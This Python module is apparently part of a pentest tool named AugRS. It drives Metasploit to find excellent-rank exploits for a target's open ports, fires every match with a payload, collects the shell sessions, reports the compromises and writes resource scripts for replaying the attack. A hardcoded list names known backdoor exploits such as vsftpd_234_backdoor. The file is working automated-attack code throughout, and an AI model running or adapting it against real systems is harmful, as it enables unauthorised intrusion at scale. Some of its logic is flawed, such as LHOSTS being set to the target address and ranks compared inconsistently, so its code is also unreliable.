import time
import sys
import json
import os
import pyfiglet
import re
import datetime
import platform

from pymetasploit3.msfrpc import JobManager
from augrs.rc_module import generate_resource_script
from augrs.base import settings
from augrs.base import open_port
from augrs.base import exploit_list
from augrs.base import exploit_and_port
from augrs.validate import is_valid_filename
import augrs.base as base
from augrs.modules import post_exploit_manage

# excellentExplotis = []
excellentExplotis = ['unix/ftp/vsftpd_234_backdoor','windows/fileformat/activepdf_webgrabber','unix/irc/unreal_ircd_3281_backdoor', 'windows/fileformat/djvu_imageurl', 'windows/fileformat/mcafee_hercules_deletesnapshot', 'windows/fileformat/msworks_wkspictureinterface', 'windows/fileformat/sascam_get', 'windows/smb/ms04_007_killbill', 'windows/ftp/sami_ftpd_list','unix/misc/spamassassin_exec']
greatExploits = []
goodExploits = []
normalExploits = []
averageExploits = []
lowExploits = []
manualExplots = []
exploitlist = []

def main():
    print('exploit module')
# This line runs the main function
if __name__ == "__main__":
    main()
def exploit(client):
    jobs = JobManager(client)
    # exploitlist = client.modules.exploits
    # exploitlist = []
    print_banner("EXPLOIT MODULE","slant")
    while True:
        try:
            print('press [1] to show current exploit list')
            print('press [2] to search exploit with open port')
            print('press [3] to run all exploit in exploit list')
            print('press [4] for sessions/jobs management')
            print('press [5] to generate resource script')
            print('press [99] for help')
            print('press [0] to go back')
            command = input('Input Exploit Command Here: ')
            if (command == '1'):
                # 1 show current exploit list
                os.system('cls' if os.name == 'nt' else 'clear')
                show_exploit_list()
                print_banner("EXPLOIT MODULE","slant")
            elif (command == '2'):
                # 2 extract exploit
                os.system('cls' if os.name == 'nt' else 'clear') 
                # print(open_port)
                exploit_search(client)
                print_banner("EXPLOIT MODULE","slant")
                print(f'Port\t\tExploit')
                for port in exploit_and_port:
                    print(f'{port}\t\t{len(exploit_and_port[port])}')
                # exploit_list_extract(client,exploitlist)
            elif (command == '3'):
                # 3 run exploit
                os.system('cls' if os.name == 'nt' else 'clear')
                execute_exploit(client,jobs)
            elif (command == '4'):
                # 4 check jobs
                os.system('cls' if os.name == 'nt' else 'clear')
                post_exploit_manage.terminal(client,jobs)
                print_banner("EXPLOIT MODULE","slant")
                # print(f'{len(jobs.list)} job(s) running' )
                # print(jobs.list)
            elif command == '5':
                # 5 generate .rc file 
                # print_banner("EXPLOIT MODULE","slant")
                print('generating rc file...')
                gen_rc(client)
                print_banner("EXPLOIT MODULE","slant")
                print('Generate Complete..')
            elif(command == '99'):
                os.system('cls' if os.name == 'nt' else 'clear')
                print_banner("EXPLOIT MODULE","slant")
                print('show exploit',end = '\t')
                print('\t\tShow current exploit list')
                print('search exploit',end = '\t')
                print('\t\tSearch for exploit from metasploit db and have a excellent rank only (Must run Nmap module before run this function)')
                print('run exploit',end = '\t')
                print('\t\tRun an exploit from current exploit list then Create a report file in exploit_report folder')
                print('session/job manage',end = '\t')
                print('\tShow running session and job')
                print('generate resouce script',end = '\t')
                print('\tCreate shell or bash script depend on selected environment')
                print()
            elif command == '0':
                os.system('cls' if os.name == 'nt' else 'clear')
                break
            else:
                print_banner("EXPLOIT MODULE","slant")
                print('Error: Command Not Found..')
        except KeyboardInterrupt:
            os.system('cls' if os.name == 'nt' else 'clear')
            break
        # # print(pyfiglet.figlet_format(text = "EXPLOIT MODULE",font = "slant"))
        # print('press [1] to show current exploit list')
        # print('press [2] to search exploit with open port')
        # print('press [3] to run all exploit in exploit list')
        # print('press [4] for sessions/jobs management')
        # print('press [5] to generate resource script')
        # print('press [0] to go back')
        # command = input('Input Exploit Command Here: ')
        # if (command == '1'):
        #     # 1 show current exploit list
        #     os.system('cls' if os.name == 'nt' else 'clear')
        #     show_exploit_list()
        #     print_banner("EXPLOIT MODULE","slant")
        # elif (command == '2'):
        #     # 2 extract exploit
        #     os.system('cls' if os.name == 'nt' else 'clear') 
        #     # print(open_port)
        #     exploit_search(client)
        #     print_banner("EXPLOIT MODULE","slant")
        #     print(f'Port\t\tExploit')
        #     for port in exploit_and_port:
        #         print(f'{port}\t\t{len(exploit_and_port[port])}')
        #     # exploit_list_extract(client,exploitlist)
        # elif (command == '3'):
        #     # 3 run exploit
        #     os.system('cls' if os.name == 'nt' else 'clear')
        #     execute_exploit(client,jobs)
        # elif (command == '4'):
        #     # 4 check jobs
        #     os.system('cls' if os.name == 'nt' else 'clear')
        #     post_exploit_manage.terminal(client,jobs)
        #     print_banner("EXPLOIT MODULE","slant")
        #     # print(f'{len(jobs.list)} job(s) running' )
        #     # print(jobs.list)
        # elif command == '5':
        #     # 5 generate .rc file 
        #     # print_banner("EXPLOIT MODULE","slant")
        #     print('generating rc file...')
        #     gen_rc(client)
        #     print_banner("EXPLOIT MODULE","slant")
        #     print('Generate Complete..')
        # elif command == '0':
        #     os.system('cls' if os.name == 'nt' else 'clear')
        #     break
        # else:
        #     print_banner("EXPLOIT MODULE","slant")
        #     print('Error: Command Not Found..')

def execute_exploit(client,jobs):

    ##clear all running session before running exploit
    for s in client.sessions.list.keys():
        # print(s)
        shell = client.sessions.session(s)
        shell.stop()
    time.sleep(2)
    ##
    ip_address = settings['target_ip']
    # rc_commands = []
    # rc_commands.append('setg RHOSTS '+ ip_address) # append set global ip in rc file
    # rc_commands.append('setg LHOST 127.0.0.1')
    for exploitName in exploit_list:
        count = 1
        exploit = client.modules.use('exploit', exploitName)
        # rc_commands.append('use exploit/' + exploitName) # append exploit name
        payloadlist = exploit.targetpayloads()
        if(len(payloadlist) != 0):
            print(exploitName + ' ' + payloadlist[0])
            payload = client.modules.use('payload', payloadlist[0])
        else:
            continue
        # rc_commands.append('set PAYLOAD ' + payloadlist[0]) # apppend payload name in rc_command
        # add rhost for exploit that require rhost
        if(exploit.missing_required.count('RHOSTS') == 1):
            # print(exploitName)
            exploit['RHOSTS'] = ip_address
        if(exploit.missing_required.count('LHOSTS') == 1):
            # print(exploitName)
            exploit['LHOSTS'] = ip_address

        try:
            # current_job = exploit.execute(payload = payloadlist[0])
            cid = client.consoles.console().cid
            console = client.consoles.console(cid)
            print(console.run_module_with_output(exploit,payload,run_as_job=True))
            # print(jobs.list.keys())
            list_keys = list(jobs.list.keys())
            # while(console.is_busy()):
            #     wait_jobs()
            # rc_commands.append('run -j')
            current_job = list_keys[-1]
            while current_job in jobs.list.keys() : # wating till the current job in done processing or exceed time limit
                wait_jobs()
                if(count >= int(settings['TTL(s)'])):
                    print('\nThis exploit take too long exit now...')
                    # jj['jobid']
                    jobs.stop(current_job)
                    break
                count += 1
            console.destroy()
            print('Exploit Done\n')
            # if(current_job['job_id'] != None):
            #     print('Exploit Done\n')
        except Exception as e:
            print(e)
            print("An exception occurred")
        except KeyboardInterrupt:
            os.system('cls' if os.name == 'nt' else 'clear')
            print_banner("EXPLOIT MODULE","slant")
            break
    time.sleep(1)
    print( f'{len(client.sessions.list)} Sessions avaiables ')

    ## gen report here 1st version show only success full exploit
    ## how many exploit execute , work and fail
    session_list = client.sessions.list
    __gen_report(client,session_list)
    session_keys = session_list.keys()

    

def __gen_report(client,session_list):
    date = datetime.datetime.now()
    session_keys = session_list.keys()
    report = []
    ip = settings['target_ip']
    home_path = os.path.expanduser("~")
    # Specify the folder name
    folder_name = "AugRS_exploit_report"
    folder_path = os.path.join(home_path, folder_name)
    if not os.path.exists(folder_path):
        os.mkdir(folder_path)
    # print('ID\tTYPE\tEXPLOIT\t\t\t\t\t\tPAYLOAD\t\t\t\tTUNNEL')
    print(f'IP: {ip}')
    report.append(f'IP: {ip}')
    print(f'Exploit execute: {len(exploit_list)}, Complete: {len(session_list)} Fail: {len(exploit_list) - len(session_list)}')
    report.append(f'Exploit execute: {len(exploit_list)}, Complete: {len(session_list)} Fail: {len(exploit_list) - len(session_list)}')
    print('Detail')
    report.append('Detail')
    for key in session_keys:
        # print(session_list[key])
        session = session_list[key]
        # print(session)
        # print(session['session_host'])
        port = session['session_port']
        exploit_name = session['via_exploit'].replace("exploit/","")
        exploit = client.modules.use('exploit', exploit_name)
        detail = exploit.description
        print(f'Port: {port}')
        print(f"Exploit: {exploit_name}")
        print("Payload: {}".format(session['via_payload']))
        print(f'Exploit Description\n\t{detail}')

        # add to report text file
        report.append(f'Port: {port}')
        report.append(f"Exploit: {exploit_name}")
        report.append("Payload: {}".format(session['via_payload']))
        report.append(f'Exploit Description\n\t{detail}')

    # with open(base.REPORT_PATH + 'Report_' + ip + '_'+ str(date.strftime("%Y%m%d_%H%M%S")) +'.txt', 'w') as f:
    #     for text in report:
    #         f.write(text + '\n')
    if platform.system() == "Windows":
        # os.system(f"cd {folder_path} && echo 'This is a Windows file' > {file_name}")
        # print(f"Created Windows file {file_name} inside {folder_name}.")
        # gen_report(ip_address,data,date,folder_path)
        with open(folder_path + '/' + 'Report_' + ip + '_'+ str(date.strftime("%Y%m%d_%H%M%S")) +'.txt', 'w') as f:
            for text in report:
                f.write(text + '\n')
        print('Report Create in ' + folder_path)                 
        
    elif platform.system() == "Linux":
        with open(folder_path + '/' + 'Report_' + ip + '_'+ str(date.strftime("%Y%m%d_%H%M%S")) +'.txt', 'w') as f:
            for text in report:
                f.write(text + '\n')
        print('Report Create in ' + folder_path)                
        
    else:
        print("Unknown operating system. The report cannot create.")            

def exploit_list_extract(client,exploitlist):
    for exploit in exploitlist:
        rank = client.modules.use('exploit',exploit).rank
        if(rank == 'excellent'): # Excellent modules
            excellentExplotis.append(exploit)
        elif(rank == 'great'): # great modules
            greatExploits.append(exploit)
        elif(rank == 400): # good modules
            goodExploits.append(exploit)
        elif(rank == 300): # normal modules
            normalExploits.append(exploit)
        elif(rank == 200): # average modules
            averageExploits.append(exploit)
        elif(rank == 100): # low modules
            lowExploits.append(exploit)
        else:
            manualExplots.append(exploit)

def exploit_search(client):
    # exploit_list = []
    base.exploit_list = []
    base.searched_exploit = []
    base.exploit_and_port = {}
    for port in open_port:
        # print(port)
        searched_exploit = []
        try:
            cid = client.consoles.console().cid
            console = client.consoles.console(cid)
            # dev env
            # console.write(f'search rank:excellent type:exploit port:{port} vsftpd_234_backdoor')
            # dev env


            console.write(f'search rank:excellent type:exploit port:{port}')
            output = client.consoles.console(cid).read()['data']
            console.destroy()
            # Extract the module name and rank using regular expressions
            pattern = r'\d+\s+exploit/(\S+)\s+\d{4}-\d{2}-\d{2}\s+(\w+)\s+'
            matches = re.findall(pattern, output)
            count = 1
            # Put the exploit to exploit list
            for match in matches:
                # Loading animation
                ############################ 
                print(f'Searching Exploit' + ('.' * count))
                time.sleep(0.1)
                os.system('cls' if os.name == 'nt' else 'clear')
                if count >= 5:
                    count = 0
                count += 1
                
                ##############################
                # print(match)
                if(match[0] not in exploit_list):
                    exploit_list.append(match[0]) #exploit list for execute
                if(match[0] not in searched_exploit):
                    searched_exploit.append(match[0]) # use for showing exploit 
            
                # exploit_and_port.append({'name':match[0],
                #                         'port:':port})
            exploit_and_port[port] = searched_exploit
        except KeyboardInterrupt:
            break
    # print(exploit_list)
    

def show_exploit_list():
    print(pyfiglet.figlet_format(text = "Current Exploit",font = "slant"))
    while True:
        try:
            exploit_count = 0
            
            print(f'Port\t\tExploit')
            for port in exploit_and_port:
                exploit_count += len(exploit_and_port[port])
                print(f'{port}\t\t{len(exploit_and_port[port])}')
            print(f'Summary: {exploit_count} exploit')
            command = input('Input Port to see exploit: ')
            if command in exploit_and_port:
                os.system('cls' if os.name == 'nt' else 'clear')
                print_banner("Current Exploit","slant")
                for exploit in exploit_and_port[command]:
                    print(exploit)
                    
                print('')
            else:
                os.system('cls' if os.name == 'nt' else 'clear')
                print_banner("Current Exploit","slant")
                print('Invalid Port Number')
            
        except KeyboardInterrupt:
            os.system('cls' if os.name == 'nt' else 'clear')
            break
        
def add_command(client):
    exploit_search(client)
    rc_commands = []
    ip_address = settings['target_ip']
    # rc_commands.append('setg RHOSTS '+ ip_address) # append set global ip in rc file
    # rc_commands.append('setg LHOST 127.0.0.1')
    for exploitName in exploit_list:
        exploit = client.modules.use('exploit', exploitName)
        rc_commands.append('use exploit/' + exploitName) # append exploit name
        payloadlist = exploit.targetpayloads()
        if(len(payloadlist) != 0):
            rc_commands.append('set PAYLOAD ' + payloadlist[0]) # apppend payload name in rc_command
        rc_commands.append('run -j -z')
        # rc_commands.append('sessions -c "id > /root/exploit_results.txt" -i 1')
    return rc_commands

def gen_rc(client):
    home_path = os.path.expanduser("~")
    # Specify the folder name
    folder_name = "AugRS_Script"
    # Create the folder if it doesn't exist
    folder_path = os.path.join(home_path, folder_name)
    if not os.path.exists(folder_path):
        os.mkdir(folder_path)
    while True:
        try:
            print('press [1] to create a script for linux environment')
            print('press [2] to create a script for window environment')
            print('press [0] to go back')
            command = input('Input Exploit Command Here: ')
            if command == '1':
                targetos = 'linux'
                filename = input('Input script name: ')
                #validate name
                if(not is_valid_filename(filename)):
                    print("Invalid Name please Input again")
                    continue
                
                #validate name
                rc_commands = add_command(client)
                generate_resource_script(rc_commands,filename,targetos,folder_path)
            elif command == '2':
                targetos = 'window'
                filename = input('Input script name: ')
                #validate name
                if(not is_valid_filename(filename)):
                    print("Invalid Name please Input again")
                    continue
                #validate name
                rc_commands = add_command(client)
                generate_resource_script(rc_commands,filename,targetos,folder_path)
            elif command == '0':
                os.system('cls' if os.name == 'nt' else 'clear')
                break
            else:
                print('Error: Command Not Found..')
        except KeyboardInterrupt:
            os.system('cls' if os.name == 'nt' else 'clear')
            break
        

def print_banner(text,font):
    print(pyfiglet.figlet_format(text,font))

def wait_jobs():
    # for i in range(5):
    #     print(".", end="", flush=True)
    #     time.sleep(1)
    # os.system('cls' if os.name == 'nt' else 'clear')
    for i in progressbar(range(15), "Running an Exploit: ", 40):
        time.sleep(0.1)

def progressbar(it, prefix="", size=60, out=sys.stdout): # Python3.3+
    count = len(it)
    def show(j):
        x = int(size*j/count)
        print("{}[{}{}] ".format(prefix, "#"*x, "."*(size-x)), 
                end='\r', file=out, flush=True)
    show(0)
    for i, item in enumerate(it):
        yield item
        show(i+1)
    # print("\n", flush=True, file=out)
